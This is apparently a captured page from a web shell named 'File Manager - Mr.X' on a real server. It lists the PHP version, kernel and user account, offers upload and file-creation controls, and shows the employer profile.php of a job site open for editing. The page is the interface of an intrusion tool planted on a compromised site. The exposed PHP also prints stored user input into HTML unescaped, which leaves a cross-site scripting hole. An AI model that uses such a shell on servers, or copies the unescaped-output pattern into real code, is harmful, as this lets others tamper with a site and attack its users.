🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:profile.php
<?php require_once '../includes/db.php'; require_once '../includes/auth.php'; checkEmployer(); $emp_id = $_SESSION['employer_id']; $employer = fetchOne("SELECT * FROM employers WHERE id = ?", [$emp_id]); if (isset($_POST['update_profile'])) { $company_name = $_POST['company_name']; $contact = $_POST['contact']; $website = $_POST['website']; $address = $_POST['address']; $description = $_POST['description']; // Handle Logo Upload $logo = $employer['logo']; if (!empty($_FILES['logo']['name'])) { $uploaded = uploadImage($_FILES['logo'], 'uploads/logos/'); if ($uploaded) { $logo = $uploaded; } } $sql = "UPDATE employers SET company_name = ?, contact_no = ?, website = ?, address = ?, description = ?, logo = ? WHERE id = ?"; if (query($sql, [$company_name, $contact, $website, $address, $description, $logo, $emp_id])) { $_SESSION['success'] = "Profile updated successfully!"; $_SESSION['company_name'] = $company_name; // Update session header("Location: profile.php"); exit; } } $page_title = "Company Profile"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $page_title; ?> | Employer</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css"> <link rel="stylesheet" href="../assets/css/style.css"> </head> <body class="bg-light"> <nav class="navbar navbar-expand-lg navbar-dark sticky-top shadow-sm"> <div class="container-fluid px-4"> <a class="navbar-brand fw-bold" href="../index.php">jobly.lk Employer</a> <div class="ms-auto"> <a href="dashboard.php" class="btn btn-sm btn-outline-light me-2">Dashboard</a> <a href="../logout.php" class="btn btn-sm btn-light">Logout</a> </div> </div> </nav> <div class="container py-5"> <div class="row justify-content-center"> <div class="col-lg-10"> <?php if(isset($_SESSION['success'])): ?> <div class="alert alert-success"><?php echo $_SESSION['success']; unset($_SESSION['success']); ?></div> <?php endif; ?> <div class="card border-0 shadow-sm"> <div class="card-body p-4 p-md-5"> <h3 class="fw-bold mb-4">Company Profile Settings</h3> <form action="" method="POST" enctype="multipart/form-data"> <div class="row g-4"> <div class="col-md-4 text-center"> <div class="mb-3"> <img src="<?php echo $employer['logo'] ? '../uploads/logos/'.$employer['logo'] : '../assets/img/default-company.png'; ?>" class="img-thumbnail mb-3" style="width: 200px; height: 200px; object-fit: contain;"> <label class="form-label d-block fw-bold">Company Logo</label> <input type="file" name="logo" class="form-control form-control-sm"> </div> </div> <div class="col-md-8"> <div class="row g-3"> <div class="col-md-12"> <label class="form-label fw-bold">Company Name</label> <input type="text" name="company_name" class="form-control" value="<?php echo $employer['company_name']; ?>" required> </div> <div class="col-md-6"> <label class="form-label fw-bold">Contact Number</label> <input type="text" name="contact" class="form-control" value="<?php echo $employer['contact_no']; ?>" required> </div> <div class="col-md-6"> <label class="form-label fw-bold">Website URL</label> <input type="url" name="website" class="form-control" value="<?php echo $employer['website']; ?>" placeholder="https://example.com"> </div> <div class="col-md-12"> <label class="form-label fw-bold">Address</label> <textarea name="address" class="form-control" rows="2"><?php echo $employer['address']; ?></textarea> </div> <div class="col-md-12"> <label class="form-label fw-bold">Company Description</label> <textarea name="description" class="form-control" rows="8"><?php echo $employer['description']; ?></textarea> </div> <div class="col-md-12 mt-4"> <button type="submit" name="update_profile" class="btn btn-primary px-5">Save Changes</button> </div> </div> </div> </div> </form> </div> </div> </div> </div> </div> </body> </html>
Save Changes
Cancel
Create New File
Create New Folder